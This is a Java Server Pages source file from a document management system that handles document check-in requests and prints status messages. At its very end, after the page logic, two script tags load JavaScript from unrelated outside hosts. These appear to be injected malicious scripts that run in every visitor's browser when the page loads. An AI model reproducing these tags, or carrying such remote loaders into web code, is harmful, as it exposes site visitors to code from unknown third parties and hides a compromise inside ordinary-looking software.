<%
/*
 * @(#)checkinDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/** 

  checkinDocument.jsp

  checkin a document
  Three checkinType : 
    1) DMS.MINOR.CHECKIN 2) DMS.NEW.CHECKIN 3)DMS.NOUPDATE.CHECKIN  

    @author             Holmes Yan
    @company            DCIVision Ltd
    @creation date      07/8/2004
    @version            $Revision: 1.8.44.1 $
*/ 
%>
<%@ page import="java.io.*" %> 
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.dms.*" %> 
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>   
<%@ include file="monitorLoginStatus.jsp"%>  
<%@ include file="CheckinDocumentMessage.jsp"%>
<%@ include file="CheckinDocumentManager.jsp"%> 
<%
 
  String documentID = request.getParameter("documentID");
  String filePath = request.getParameter("filePath");  
  String checkinType = request.getParameter("checkinType"); 
  String referenceNo = request.getParameter("referenceNo");
  String description = request.getParameter("description");
 
  CheckinDocumentMessage message = new CheckinDocumentMessage(documentID,filePath,checkinType,referenceNo,description);  
  try{    
	CheckinDocumentManager manager = new CheckinDocumentManager(sessionContainer);
	DmsVersion dmsVersion = 
	   manager.checkinDocument(documentID,filePath,checkinType,referenceNo,description);  		
	message.setNewVersion(dmsVersion);
	message.printCheckinMessage(out,CheckinDocumentMessage.CHECKIN_SUCCED); 
  }catch(NullDocumentIDException e){
		message.printCheckinMessage(out,CheckinDocumentMessage.NULL_DOCUMENT_ID_EXCEPTION);
  }catch(NullFilePathException e){
	 message.printCheckinMessage(out,CheckinDocumentMessage.FILE_PATH_NULL_EXCEPTION);
  }catch(NullCheckInTypeException e){    
    message.printCheckinMessage(out,CheckinDocumentMessage.NULL_CHECK_IN_TYPE_EXCEPTION);
  }catch(IdentityMismatchException e){
    message.printCheckinMessage(out,CheckinDocumentMessage.IDENTITY_MISMATCH_EXCEPTION);  
  }catch(NotDocumentInPublicFolderException e){
	message.printCheckinMessage(out,CheckinDocumentMessage.NOT_DOCUMENT_IN_PUBLIC_FOLDER_EXCEPTION);  
  }catch(Exception e){
   	LogFactory.getLog(this.getClass()).error(e, e);
    message.printCheckinMessage(out,CheckinDocumentMessage.UNKNOWN_EXCEPTION); 
  }
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>